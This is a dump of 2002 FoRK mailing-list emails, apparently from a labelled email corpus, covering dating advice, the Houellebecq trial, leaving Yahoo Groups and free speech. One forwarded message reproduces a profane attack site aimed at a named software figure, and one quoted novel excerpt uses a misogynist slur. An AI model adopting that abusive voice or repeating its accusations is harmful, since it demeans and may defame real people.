Personally, as a writer, the whole internet meet & email thing ought to work better for me than it does for other people, but interestingly, it doesn't. I have to put out the same amount of effort and reap about the same poor results. I have to think it's not the people, but the tool. An aside (okay, yes, I'm a tool geek): Speed Dating Speed Dating (aka 7 Minute Dating) is a live-action stab at actual time in the company of a variety of people, compressed into one event. I think it's noticably better, but still absolutely nothing like working on a project together, cooking, climbing a mountain or whatever. It was, in fact, invented as a jewish thing seeking to match up the young people to avoid total assimilation. It has too much ""interview"" context and no shared activity beyond that. I give it several points for effort though. I guess my impression that even the Speed Dating thing doesn't do much for you means that the traditional advice of ""join activities groups"" is actually sound. Eirikur",0,0 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Wed, 18 Sep 2002 19:07:52 +0200 (CEST)",Re: Defending Unliked Speech,"Gordon Mohr quoted: ># French Writer Tried As Anti-Islam, Protest Erupts ># By Caroline Brothers ># ># PARIS (Reuters) - Provocative French novelist Michel Houellebecq ># faced a Paris court on Tuesday for allegedly inciting racial hatred ># by calling Islam ""the stupidest religion"" and its holy book the ># Koran a depressing read. ># ># The case, brought against him by four Muslim groups, is a cause ># celebre reminiscent of the Salman Rushdie affair, pitting freedom of ># expression against religious sensitivities. Very reminiscent indeed. Ayatollah Chirac has decreed a death sentence on Houellebecq and liked-minded fundamentalists have offered millions of euros bounty for his head, so he has gone into hiding under police protection for a few years. Or maybe some handful of Muslims are acting uppity and dragging him to court under ""hate speech"" laws make a point about people not showin' dem da massive respect dat dey deserve, especially these days. Or maybe some journo is trying to fill column inches on a boring day. BTW I read Houellebecq's ""Extension du domaine de la lutte"" recently, about a depressed computer services dude working in Paris, looking for love and not finding it, slowing losing his marbles and trying to get a friend of his to kill a woman, and ending up in a clinic for nutcases... Yikes! Purposely provocative, very depressing, with some unbelievably boring passages where the anti-hero writes little stories about animals talking philosophical mumbo-jumbo to each other, quoted inline in full for pages on end. It starts out: ""On Friday evening, I was invited to a party with some colleagues from work. There were about thrity of us, all professionals aged from twenty-five to forty. At one point, some cunt started getting undressed. She took off her T-shirt, then her bra, then her skirt, all the while making unbelievable faces. She pranced around for a few seconds, then she started getting dresesd again because she didn't know what else to do. Anyway she never sleeps with anyone. Which underlines the absurdity of her behaviour. After my fourth glass of vodka I started to feel pretty bad so I had to go lie down on a bunch of cushions behind the couch. Shortly after that, two girls came and sat on the couch. Those girls are not pretty at all, the two fat office cows actually. They go to eat together and read books about the development of language in children, all that sort of stuff."" ... and it's downhill from there! R",0,0 CDale ,Gary Lawrence Murphy ,"Wed, 18 Sep 2002 12:10:17 -0500 (CDT)",Re: [VoID] a new low on the personals tip...,"Hear hear, Gary. I'm living with a guy right now who I met at a party, emailed with for 2 weeks, then powie! We were both looking at similar goals in life in general, had some attraction for each other, and decided to wing it. I can't say what's going to happen tomorrow, but right now, and for the past few months, we've been happy. Onward Ho! (: Cindy On 18 Sep 2002, Gary Lawrence Murphy wrote: > >>>>> ""E"" == Eirikur Hallgrimsson writes: > > E> You just can't tell important things from a picture and a few > E> words. It's not how we are built. There's no geek code for > E> the heart and soul. > > Nor is there a Turing Test, even for someone with whom you've spent 11 > years, boom, bust and boom again, and 3 children (trust me) There is > no magic litmus test other than the totally empirical: ""Try it and > see"" > > ""String bags full of oranges > And matters of the heart, > People laugh at /anything/ > And things just fall apart."" > - michael leunig > > The only real test, the only /sensible/ test, is to look back and > realize your relationship has lasted 50 years and see no reason to > believe it couldn't last another 50. In the absense of 50 years of > actual (ahem) hands-on experiential data, a photo and a few words are > as good as any, provided you are prepared for the dynamics of it. > > Love is a verb. Sex is a /shared/ pursuit. There is no > 'relation-ship', there is only the crew. sail away! > > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,0 Elias Sinderson ,fork@spamassassin.taint.org,"Wed, 18 Sep 2002 10:15:00 -0700",Re: [VoID] a new low on the personals tip...,"Perhaps we should start a grass roots movement here on FoRK and send the nice lady a few emails on his behalf? Better yet, why don't we see on who can write the best personals ad for Rohit? I'll post the best one to Craigs' list on his behalf. The winner can take me out to dinner. (No, really, I'm charming.) Elias Robert Harley wrote: >Pity. Reading that woman's ad and knowing Rohit for years, they sound >like a match made in heaven. But why, oh, why, keep that shaved-head >photo on prominent display??? There are lots of photos of Rohit >looking rather dashing, and with the crucial hair feature enabled! > >R >",0,0 Eugen Leitl ,Tom ,"Wed, 18 Sep 2002 19:57:15 +0200 (CEST)",Re: boycotting yahoo,"On Wed, 18 Sep 2002, Tom wrote: > The others are on mailing list only status for now. A few of the > groups I was in that are run by others are harder to deal with since > many folks just dont want to have to deal with the inconvienence of a > understanding. I've terminated a number of my own mailing lists at yahoogroups many months ago because of similiar sentiments. I've tried lobbying other people to move, but with about zero success. I've got currently only one own mailing list there, which I'm going to move as soon as it is technically possible (which is my ISP's problem, basically). After that, I intend to kick yahoogroups for good.",0,0 """R. A. Hettinga"" ",fork@spamassassin.taint.org,"Wed, 18 Sep 2002 14:13:32 -0400",Re: [VoID] a new low on the personals tip...,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I know it's not the popular choice for a lot of people, but I'd suggest, um, church. :-). Like Woody Allen said, 90% of life is showing up, right? Almost anyone can find a church where the sermons don't make you bust out laughing, and you're set. I, for instance, am a Unitarian, which, as someone once observed, is merely a decompression chamber between a real church and a golf course. (ObUUJokes: Mid 70's bumper-sticker: ""Honk if you're not sure""; Lenny Bruce: ""Did you hear about how the Klan burned a question mark on the Unitarian's lawn?""; ""Unitarians would rather go to a discussion group about heaven than to heaven itself.""; ""Unitarians pray 'to whom it may concern'""; etc...) But, seriously, folks, my teenage-adopted denomination (I'm, um, lapsed, on several fronts, a Dutch-Reformed-turned-atheist father and an agnostic mother who used to be a southern Baptist of some stripe or another) and frankly limousine liberal secular-humanist congregation is about as orthogonal to my present congenital-Republican small-l libertarian turned anarchocapitalist politics as it is possible to be (except for the secular-humanist bit...), and I still go pretty regularly, though not as much as I used to. Heck, the older I get the less of the divine I believe in. I'm asymptotically approaching my father's atheism, these days, and I show up at least once a month. Nice folks though, when I can keep a civil tongue in my head -- smart too, when I can't and end up arguing with them. :-). Anyway, if *I* can end up hitched, anyone can. Talk about orthogonal. I met my practically-socialist state-education-bureaucrat wife one year after I started, moved in with her 6 weeks later :-), married her 2 years after that, and I wasn't even trying meet women. I was just looking to make friends as I was new in town. The trick to the church thing is, whatever denomination/congregation you end up in, expect to end up with a mate, not a date. I mean, some guys manage to stay single, but most, like me, don't. You can practically see the laser-sights light up when you walk into a room... That's because, of course, most churches are *run* by women. Most regular attendants are women. Hell, 65% of all new *ministers*, in protestant denominations, at least, are women. No matter your age, looks, intelligence, whatever, you'll end up surrounded by women. You'll be outnumbered, even several to one -- some of whom are at least better looking than you are. :-). The only place where there are *more* women running things is in grass-roots Republican politics - -- but I won't go there, I promise. If I may make a presumption here, since you brought it up, I figure that between the sophistication and diversity of the subcontinent's religions, and the ubiquity of Indians in various stages of assimilation in So/NoCal, you can find some place to hang out near you, Rohit. You probably don't even have to go, um, native, like I did -- backsliding on my own ostensibly rational godless upbringing and becoming, horrors, a Unitarian... Cheers, RAH -----BEGIN PGP SIGNATURE----- Version: PGP 7.5 iQA/AwUBPYjCBcPxH8jf3ohaEQI2vwCbB2UkMyii/XwKQvvJFSWlMMRheBsAmwUB jDmfQrNRQED3LmW6V8YutN54 =vQ/A -----END PGP SIGNATURE----- -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Tom ,"""R. A. Hettinga"" ","Wed, 18 Sep 2002 16:29:40 -0400 (EDT)",Re: [VoID] a new low on the personals tip...,"On Wed, 18 Sep 2002, R. A. Hettinga wrote: --]I know it's not the popular choice for a lot of people, but I'd --]suggest, um, church. :-). Like Woody Allen said, 90% of life is --]showing up, right? --] I think another venue for finding people is the workplace. As a contractor I have had the opertunity to meet lots of eligables over the course of my wandering workhistory. My wife was my Task Order Manager years ago, thats how we met. Her joke is that she is still my Task Order Manager but now I dont get paid:)- By starting up your own companies or working in sterile thinklabs you are cutting yourself off from one heck of a fertile ground for linkages....the common office. I like the shurch idea as well. Other ideas... Book circles, geocaching groups, heck Rhorho your still young enough to hit the campus mixers...and I mean the social stuff not the techtech events. Above all, ask yourself whats important to you.. Life, you either life it or you waste it. -tom",0,0 """R. A. Hettinga"" ",fork@spamassassin.taint.org,"Wed, 18 Sep 2002 18:39:11 -0400",AA Meetings the Hottest Place to Meet Women With Big Bucks,"Church, AA, same diff? ;-). Cheers, RAH http://www.newsmax.com/archive/print.shtml?a=2002/9/18/161934 NewsMax.com Wednesday, September 18, 2002 AA Meetings the Hottest Place to Meet Women With Big Bucks If you're looking to hook up with female millionaires you could try some of the classier restaurants or clubs, but the best place of all is a certain New York City Alcoholics Anonymous meeting. According to a Details magazine story cited in the New York Post, ""the No. 1 location to score a megabucks babe is an Alcoholics Anonymous center on [New York's] Upper East Side. ""It's the choicest meeting in town, right next to the Ralph Lauren store"" on Madison Avenue, which features ""rich vulnerable women,"" the mag's October issue says. AA officials were not overjoyed by having the address of their meeting place published, or being cited as the ""in"" place for finding loaded women - or rather, women who are loaded. ""The purpose of our meetings is to let people share their experiences and help others find sobriety. It is not a place to pick up women!"" an AA spokesman told The Post. O.K. Return -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Tom ,"""R. A. Hettinga"" ","Wed, 18 Sep 2002 19:04:34 -0400 (EDT)",Re: AA Meetings the Hottest Place to Meet Women With Big Bucks,"On Wed, 18 Sep 2002, R. A. Hettinga wrote: --]Church, AA, same diff? AA is sort of church with ashtrays.",0,0 Tom ,"""R. A. Hettinga"" ","Wed, 18 Sep 2002 19:13:20 -0400 (EDT)",Re: AA Meetings the Hottest Place to Meet Women With Big Bucks,"On Wed, 18 Sep 2002, R. A. Hettinga wrote: --]AA Meetings the Hottest Place to Meet Women With Big Bucks And, as always, you can take a page out of Fight Club and start showing up at all sorts of support groups. Look what it did for Marla and Jack... ""JACK You can't have *both* parasites. You take blood parasites and -- MARLA I want brain parasites. She opens another dryer and does the same thing again. PG 19 JACK Okay. I'll take blood parasites and I'll take organic brain dementia and -- MARLA I want that. JACK You can't have the whole brain! MARLA So far, you have four and I have two! JACK Well, then, take blood parasites. Now, we each have three. MARLA So, we each have three -- that's six. What about the seventh day? I want ascending bowel cancer. JACK *I* want ascending bowel cancer. MARLA That's your favorite, too? Tried to slip it by me, huh? JACK We'll split it. You get it the first and third Sunday of the month. MARLA Deal.""",0,0 """Geege Schuman"" ","""Tom"" , ""R. A. Hettinga"" ","Wed, 18 Sep 2002 21:21:22 -0400",RE: AA Meetings the Hottest Place to Meet Women With Big Bucks,"advice to the lovelorn haiku serendipity pilots synchronicity: turn the next corner. -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Tom Sent: Wednesday, September 18, 2002 7:13 PM To: R. A. Hettinga Cc: fork@spamassassin.taint.org Subject: Re: AA Meetings the Hottest Place to Meet Women With Big Bucks On Wed, 18 Sep 2002, R. A. Hettinga wrote: --]AA Meetings the Hottest Place to Meet Women With Big Bucks And, as always, you can take a page out of Fight Club and start showing up at all sorts of support groups. Look what it did for Marla and Jack... ""JACK You can't have *both* parasites. You take blood parasites and -- MARLA I want brain parasites. She opens another dryer and does the same thing again. PG 19 JACK Okay. I'll take blood parasites and I'll take organic brain dementia and -- MARLA I want that. JACK You can't have the whole brain! MARLA So far, you have four and I have two! JACK Well, then, take blood parasites. Now, we each have three. MARLA So, we each have three -- that's six. What about the seventh day? I want ascending bowel cancer. JACK *I* want ascending bowel cancer. MARLA That's your favorite, too? Tried to slip it by me, huh? JACK We'll split it. You get it the first and third Sunday of the month. MARLA Deal.""",0,0 Udhay Shankar N ,"""R. A. Hettinga"" ,","Wed, 18 Sep 2002 22:10:35 +0530",Re: boycotting yahoo,"At 11:06 AM 9/18/02 -0400, R. A. Hettinga wrote: >Dave Farber's Interesting People list just went over to > It always was, I think. Meng Weng Wong, the founder of pobox, listbox et al was a student of Dave Farber's. Listbox just upgraded its software, however. Udhay -- ((Udhay Shankar N)) ((udhay @ pobox.com)) ((www.digeratus.com))",0,1 """Geege Schuman"" ","""Tom"" , ""R. A. Hettinga"" ","Wed, 18 Sep 2002 21:30:02 -0400",RE: AA Meetings the Hottest Place to Meet Women With Big Bucks,"less obscure haiku buy a puppy, ro! they are chick magnets. master ventriloquism. gg -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Tom Sent: Wednesday, September 18, 2002 7:13 PM To: R. A. Hettinga Cc: fork@spamassassin.taint.org Subject: Re: AA Meetings the Hottest Place to Meet Women With Big Bucks On Wed, 18 Sep 2002, R. A. Hettinga wrote: --]AA Meetings the Hottest Place to Meet Women With Big Bucks And, as always, you can take a page out of Fight Club and start showing up at all sorts of support groups. Look what it did for Marla and Jack... ""JACK You can't have *both* parasites. You take blood parasites and -- MARLA I want brain parasites. She opens another dryer and does the same thing again. PG 19 JACK Okay. I'll take blood parasites and I'll take organic brain dementia and -- MARLA I want that. JACK You can't have the whole brain! MARLA So far, you have four and I have two! JACK Well, then, take blood parasites. Now, we each have three. MARLA So, we each have three -- that's six. What about the seventh day? I want ascending bowel cancer. JACK *I* want ascending bowel cancer. MARLA That's your favorite, too? Tried to slip it by me, huh? JACK We'll split it. You get it the first and third Sunday of the month. MARLA Deal.""",0,0 bitbitch@magnesium.net,"fork-admin@xent.com, ""Geege Schuman"" ","Wed, 18 Sep 2002 21:41:26 -0400",Re[2]: AA Meetings the Hottest Place to Meet Women With Big Bucks,"And the ever popular... Or bring a baby, Provided you do not own, Women come, at baby's cry. GS> less obscure haiku GS> buy a puppy, ro! GS> they are chick magnets. master GS> ventriloquism. GS> gg GS> -----Original Message----- GS> From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Tom GS> Sent: Wednesday, September 18, 2002 7:13 PM GS> To: R. A. Hettinga GS> Cc: fork@spamassassin.taint.org GS> Subject: Re: AA Meetings the Hottest Place to Meet Women With Big Bucks GS> On Wed, 18 Sep 2002, R. A. Hettinga wrote: GS> --]AA Meetings the Hottest Place to Meet Women With Big Bucks GS> And, as always, you can take a page out of Fight Club and start showing up GS> at all sorts of support groups. Look what it did for Marla and Jack... GS> ""JACK You can't have *both* parasites. You take blood parasites and -- GS> MARLA I want brain parasites. GS> She opens another dryer and does the same thing again. PG 19 GS> JACK Okay. I'll take blood parasites and I'll take organic brain dementia GS> and -- GS> MARLA I want that. GS> JACK You can't have the whole brain! GS> MARLA So far, you have four and I have two! GS> JACK Well, then, take blood parasites. Now, we each have three. GS> MARLA So, we each have three -- that's six. What about the seventh day? I GS> want ascending bowel cancer. GS> JACK *I* want ascending bowel cancer. GS> MARLA That's your favorite, too? Tried to slip it by me, huh? GS> JACK We'll split it. You get it the first and third Sunday of the month. GS> MARLA Deal."" -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,0 Owen Byrne ,Tom ,"Wed, 18 Sep 2002 23:06:13 -0300",Re: [VoID] a new low on the personals tip...,"Tom wrote: >On Wed, 18 Sep 2002, R. A. Hettinga wrote: >--]I know it's not the popular choice for a lot of people, but I'd >--]suggest, um, church. :-). Like Woody Allen said, 90% of life is >--]showing up, right? >--] > >I think another venue for finding people is the workplace. As a contractor >I have had the opertunity to meet lots of eligables over the course of my >wandering workhistory. > >My wife was my Task Order Manager years ago, thats how we met. Her joke >is that she is still my Task Order Manager but now I dont get paid:)- > > Sure if you're willing to risk firing, lawsuits, etc. The last full time job I had the sexual harassement seminar was pretty clear - yes you can have relationships at the office, but its extremely difficult, and the pitfalls are horrendous. Owen",0,0 Elias Sinderson ,fork@spamassassin.taint.org,"Wed, 18 Sep 2002 19:07:53 -0700",Re: [VoID] a new low on the personals tip...,"This sort of thing is, in my (limited?) experience, increasingly a thing of the past. Not one person I know has found it worth the risk to pursue a relationship with someone in the workplace. It's terrible to think we could litigate our way into extinction...! Elias Owen Byrne wrote: > ... The last full time job I had the sexual harassement seminar > was pretty clear - yes you can have relationships at the office, but > its extremely difficult, and the pitfalls are horrendous.",0,0 """R. A. Hettinga"" ","dcsb@ai.mit.edu, cryptography@wasabisystems.com, e$@vmeng.com,","Wed, 18 Sep 2002 22:42:35 -0400",[IRR] [dgc.chat] First public release of NeuDist Distributed,"--- begin forwarded text Subject: [dgc.chat] First public release of NeuDist Distributed Transaction Clearing Framework From: Pelle Braendgaard To: dgcchat@lists.goldmoney.com Cc: Digital Bearer Settlement List , DGCChat , xmlx Date: 19 Sep 2002 00:05:39 -0500 Reply-To: I'm happy to announce the first public release of NeuDist NeuDist is an Open Source Software framework for building applications for the Neubia Distributed Clearing Platform. This release contains early java libraries and documentation that would primarily be of interest to developers. Talking about documentation, it is still a bit slim and mainly oriented towards people with experience in Java/XML development. There are currently no sample applications, but they will be available in the next release. The framework currently contains the following: - Classes for creating ""Named Objects"", which are authenticated using digital signatures within a hierarchy. - Storage framework for ""Named Objects"". - Simple XML-Signature implementation (Almost certainly not yet interoperable with other implementations) - Simple SOAP client - Simple Servlet API for handling SOAP requests based on ""Named Objects"". - Current types of ""Named Objects"" include: NameSpace objects -- for maintaining the NameSpace Authentication Framework AuthenticationTickets -- for doing web site authentication using digital signatures. Next major release is scheduled to contain: - Core: hard coded root public key, for authenticating top level NameSpaces - Signing Services: Implementation of web based signing services End user hosted signing service - Example User Authentication Application - Example Payment System based on NeuDist I will be expanding the documentation over the next few weeks. This will cover not only more indepth technical documentation, but also higher level documentation about the business side of things. Read more about NeuDist or download our early version at http://neudist.org I would love to hear your questions and suggestions. To discuss it further please join neudist-discuss@lists.sourceforge.net You can join it at: http://lists.sourceforge.net/mailman/listinfo/neudist-discuss Regards Pelle -- Antilles Software Ventures SA http://neubia.com/asv My Web Log Live and Direct from Panama http://talk.org Views of an EconoFist http://econofist.com subscribe: send blank email to dgcchat-join@lists.goldmoney.com unsubscribe: send blank email to dgcchat-leave@lists.goldmoney.com digest: send an email to dgcchat-request@lists.goldmoney.com with ""set yourname@yourdomain.com digest=on"" in the message body --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' _______________________________________________ Irregulars mailing list Irregulars@tb.tf http://tb.tf/mailman/listinfo/irregulars",0,1 """Mr. FoRK"" ",,"Wed, 18 Sep 2002 20:44:08 -0700",Oh ma gawd - funny site of the day...,"This is for those that have interacted with D Winer ""Dave's idea of love is fucking everyone else without so much as a reach around. You're supposed to just shut up and take it."" http://winerlog.inspiredsites.net/ =========== Who's the real monster? It seems good Ol' Uncle Dave is once again trying to savage anyone that dares to disagree with him. It seems Ben, Kevin and Bill are making too strong a case. So here we Dave's attempt to fool you into thinking they're some sort of monsters, violent ones no less. Anyone who works with Hemenway or Kearney should be aware that these people are nothing less than monsters, who will stoop to any level to get their way. Yeah sure Dave, whatever you need to believe. The truth is these folks do a fine job of actually helping others and improving RSS in general. Each with their own brand of attitude, to be sure, but they seem to be pretty focused on actually helping things move forward. How is that being monstrous? Is Dave trying to slander their good names and thus poison the public's perception of them? If you haven't already, contact them and ask them how they feel about this foolishness. 9/18/02; 10:07:38 AM - Discuss Dave deflects what he can't take the time to understand It's really quite pitiful. When normal people don't understand something they usually try learning about it. They read up, ask questions and seek the help of those that understand it. This before shooting their mouths off and looking like fools. What Dave does is just the opposite. Posts a link to something he doesn't understand Get's a bunch of e-mail from people who do understand it Derides the idea as being 'too much trouble' and blogs it. Expects others to do research for him Abuses anyone who tries to help him Pontificates, incorrectly, about only part of the issue Realizes he's been a fool but refuses to correct himself Plods forward pedantically trying to defend his idiocy Tries making the educated people look like fools. Sends private e-mails to them trying to scare them off. Exposes any private e-mail they write, out of context. Deflects and runs off to some new topic, repeats from #1 His continued diatribes about RSS-1.0 and it's use of RDF reveal this to be true. Dave doesn't get the idea of the semantic web. He'd rather have you follow his stupid ideas than dare admit that the work of others is worth trying. One reader wrote to us with a good analogy. ""It's like that movie The Poseidon Adventure. Dave's like the purser ranting and raving that the passengers should follow him and march toward the bow. I don't know about you but I'd rather be with the fat lady swimming toward the engine room. The ship's fucking sinking and I don't want to be following the idiot."" Dave's idea of love is fucking everyone else without so much as a reach around. You're supposed to just shut up and take it. After all, why would good ol' Uncle Dave want to hurt you? It's all about love, right? To hell with asking you if you want to get shafted. And if you dare complain, he savages you. Then he tries to make everyone think you're the one causing all the trouble. We've news for you Dave, we're wise to your tactics and we're talking amongst ourselves about it. We're routing around you damaging behavoir. That's where we're coming from. If you have an example of how you've tried to help Dave, please drop us an e-mail about it. We'll keep it strictly confidential of course. Send it along to zaphod@egroups.com 9/12/02; 10:13:11 AM - Discuss Trying to talk with Dave is like trying to wrestle a pig... The trouble is, you get dirty and the pig seems to like it. Another developer tries talking to Dave and discovers it's fundamentally impossible: His basic response was just that RDF was a joke and the Semantic Web developers are doing a terrible job. In the span of less than five minutes Dave makes such an ass of himself that people at other tables start whispering ""that guy is an idiot..."" The zaphodim, however, are veteran pig wrestlers. If you've got a similar tale from the mud pit, be sure to drop us a line at: zaphod@egroups.com. 9/11/02; 2:17:58 PM - Discuss (1 response) Aha! Some backing down by the whining one? It would appear the 'dictator release' strategy that Dave's been trying on his crappy little set of RSS hacks is failing to gain support. I'm going to push back the caveat-removing on the 2.0 spec by 24 hours. Still have work to do on the sample file, I want to look into the RFC for time-date specs, and get started on the Radio implementation of 2.0. I have to prepare for Seybold tomorrow, and I want to a little memorial for 9-11. A busy few days for a guy still recovering. Also, it would be great if people who make content tools could review the 2.0 spec and see if there are any deal-stoppers. Hell yeah there are deal stoppers, like nobody wants it nor will they use it! The poor Radio customers! The poor Salon blog users! They're going to be dragged unwillingly into producing XML content that nobody will use! So with the flip of his mighty upgrade switch Dave is going to turn all their content into totally unsupported garbage!!! Ya better speak up now folks otherwise your content is going to start getting rejected! Of course at the same time Dave tries to play the sympathy card. What utter fucking nonsense. This past weekend, the blogosphere excoriates him for his 'blame America' bullshit. Then the RSS community tells him to get stuffed with his dictator release of RSS. Now he's trying to pretend we should be nice to him because he's still recovering? Uh, Dave, if you want to take a rest from the battle then stop picking fights. We'll still kick your ass regardless. That's what years of your abusing people has gotten you Dave. No sympathy anymore, none whatsoever. 9/11/02; 1:56:10 PM - Discuss Dave is Scary on 9/11 Posted on Scripting News on 9/10/2002: Note: During the day tomorrow there will be no updates to Scripting News. I'll be in SF at Seybold, leading a discussion on Web Services for Publishing with people from Amazon, Apple, Google and Jake Savin of UserLand. I may be able to update my Radio weblog, but only if there's something really important to report. So best wishes for a happy and safe 9-11. What kind of asshole wishes people a happy 9/11??!?!?!?!??!! Obviously someone who doesn't have a clue nor lost anyone in the tragedy. 9/11/02; 7:56:06 AM - Discuss Yeow and we though we were harsh! Wow, apparently Dave's sticking his neck out quite far these days. Craig Schamp practically keel-hauls him with this one. He wraps it up with: The man seems to show over and over that he's nothing more than a whining buffoon Give that man an honorary Zaphodim membership card and secret decoder ring! Related links over at PhotoDude, Richard Bennett, Andrea Harris, Reid Stott, Jeff Jarvis, Ipse Dixit, and the Fat Guy. 9/9/02; 12:29:45 PM - Discuss RSS 2.0: code name ""Hitler"" If Dave tries to steamroll RSS 2.0 through without formal community consensus, here now we call it the ""Hitler"" release of 2.0. ""No objections""? No, he means ""No objections I choose to hear."" Dave is simply not listening. People are objecting all over. 9/6/02; 9:00:02 AM - Discuss Referral log funnies Every now and then we check the referral logs to see what's pointing back to us. We sincerely apologize to the pool soul that used this search. 9/5/02; 12:15:07 PM - Discuss Luserland Attempts to Trademark ""RSS"" Dave has waxed and waned about intellectual property rights and how any BigCo that tries to patent its technology or methods is corrupt or morally bankrupt. Scripting News is full of examples. So we found it surprising, as did many others, when Luserland software tried to patent the term 'RSS' back in 2000. Here's the patent application: http://tarr.uspto.gov/servlet/tarr?regser=serial&entry=78025336 This was apparently just between the start of the RSS 1.0 development efforts, and the publication of the specification. Winer knew about the RSS 1.0 stuff - indeed, he complained about it bitterly at the time. Could Dave be any more transparent?!?!??!?!!!!!!! Since when has Dave been required to follow anything he says he wants others to do??? A good quote from before he filed the patent application: Tim O'Reilly says patents are OK, he's just against stupid patents. In the spirit of Touch of Grey, Tim man, patents are lock-in of the worst kind. There's no way to route around them. 9/4/02; 6:06:51 AM - Discuss When's a Permalink not a Permalink? When Dave writes an item, then removes it!!!!!!!!!!! The permalink links to nothing at that point. So apparently the ""perma-"" part in permalink is permanent. For everyone except Dave. Too bad his little attempt at a definition fails to mention this...!!!!!!!!! 9/2/02; 6:16:03 PM - Discuss",0,1 Morbus Iff ,"""Mr. FoRK"" , ","Wed, 18 Sep 2002 23:56:38 -0400",Re: Oh ma gawd - funny site of the day...,">It seems good Ol' Uncle Dave is once again trying to savage anyone that >dares to disagree with him. It seems Ben, Kevin and Bill are making too >strong a case. So here we Dave's attempt to fool you into thinking they're >some sort of monsters, violent ones no less. > >Anyone who works with Hemenway or Kearney should be aware that these people >are nothing less than monsters, who will stoop to any level to get their /me coughs... I'm part of the Monster club. They call me... Hemenway! -- Morbus Iff ( i assault your sensibilities! ) Culture: http://www.disobey.com/ and http://www.gamegrene.com/ Tech: http://www.oreillynet.com/pub/au/779 - articles and weblog icq: 2927491 / aim: akaMorbus / yahoo: morbus_iff / jabber.org: morbus",0,1 Chuck Murcko ,"""Owen Byrne"" ","Thu, 19 Sep 2002 04:44:22 -0700",Re: Hanson's Sept 11 message in the National Review,"Heh, ten years ago saying the exact same words was most definitely not ""parroting the party line"". It was even less so thirty years ago. My story remains the same, take it or leave it. I've said the same words to white supremacists as to suburban leftist punks as to homeys as to French Irish, etc. etc.: I don't have to agree with anything you say. I *am* obligated to defend to the death your right to say it. I don't give a rat's ass where you say it, even in France. I don't care where the political pendulum has swung currently. Chuck On Tuesday, September 17, 2002, at 10:38 AM, Owen Byrne wrote: > On Tue, Sep 17, 2002 at 10:19:13AM -0700, Chuck Murcko wrote: >> Probably because we have this pesky 1st Amendment thing here. Still, >> lots of us in the States have developed a disturbing tendency to shout >> down or (in recent years) shackle in legal BS opinions, thoughts, and >> individual behaviors we don't agree with. >> > > Except that parroting the party line doesn't really require much > freedom of speech. Now if you had posted something from a left of > center source, you would have been shouted down in flames, buried in > ad hominem attacks, and probably get your name added to an FBI list. > > > Besides the basic rule in the United States now is ""I'll defend your > rights to say anything you want, but if it isn't appropriately > neoconish, well, don't expect to work"": > > > HHS Seeks Science Advice to Match Bush Views > > By Rick Weiss > Washington Post Staff Writer > Tuesday, September 17, 2002; Page A01 > > The Bush administration has begun a broad restructuring of the > scientific advisory committees that guide federal policy in areas such > as patients' rights and public health, eliminating some committees > that were coming to conclusions at odds with the president's views and > in other cases replacing members with handpicked choices. > ... > http://www.washingtonpost.com/wp-dyn/articles/A26554-2002Sep16.html > > Owen >",0,1 Owen Byrne ,Chuck Murcko ,"Thu, 19 Sep 2002 09:10:16 -0300",Re: Hanson's Sept 11 message in the National Review,"Chuck Murcko wrote: > Heh, ten years ago saying the exact same words was most definitely not > ""parroting the party line"". > > It was even less so thirty years ago. My story remains the same, take > it or leave it. I've said the same words to white supremacists as to > suburban leftist punks as to homeys as to French Irish, etc. etc.: > > I don't have to agree with anything you say. I *am* obligated to > defend to the death your right to say it. I don't give a rat's ass > where you say it, even in France. I don't care where the political > pendulum has swung currently. > > Chuck I had to laugh at Rumsfield yesterday - when he was heckled by protestors, he said something like ""They couldn't do that in Iraq."" Meanwhile, from what I could tell, the protestors were being arrested. Owen",0,0 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Thu, 19 Sep 2002 14:14:06 +0200 (CEST)",Re: Hanson's Sept 11 message in the National Review,"Chuck Murcko wrote: >[...stuff...] Yawn. R",0,0 """Russell Turpin"" ",fork@spamassassin.taint.org,"Thu, 19 Sep 2002 13:30:45 +0000",Re: AA Meetings the Hottest Place to Meet Women With Big Bucks,"R. A. Hettinga: >Church, AA, same diff? It's difficult to measure which is the greater liability in a potential mate, religiosity or alcoholism. _________________________________________________________________ Join the worlds largest e-mail service with MSN Hotmail. http://www.hotmail.com",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Thu, 19 Sep 2002 13:34:36 +0000",Re: [VoID] a new low on the personals tip...,"Owne Byrne: >Sure if you're willing to risk firing, lawsuits, etc. The last full time >job I had the sexual harassement seminar was pretty clear - yes you can >have relationships at the office, but its extremely difficult, and the >pitfalls are >horrendous. Despite that, this is how a lot of couples meet. People tease me about Carolyn, that I just hired a lot of software engineering babes, and then chose the one I liked best. ;-) _________________________________________________________________ Send and receive Hotmail on your mobile device: http://mobile.msn.com",0,1 ThosStew@aol.com,,"Thu, 19 Sep 2002 09:39:00 EDT",Re: Hanson's Sept 11 message in the National Review,"In a message dated 9/19/2002 7:46:37 AM, chuck@topsail.org writes: >That means *you* can't say anything may not be FoRKed or printed or >whatever. You have the choice to ignore it That's not what the First Amendment says at all. It says that Congress cannot say what can't be FoRKed. FoRK can establish any rules it wants. Similarly, The New York Times gets to choose what news IT thinks is ""fit to print."" If the Times chose not to print anything about, say, Rosie O'Donnell, it would be exercising its First Amendment rights, just as much as it would be if it chose to print something Rosie O'Donnell doesn't like. The necessary corollary of the freedom to say/publish what one wants is the freedom to refuse to publish or say what one doesn't 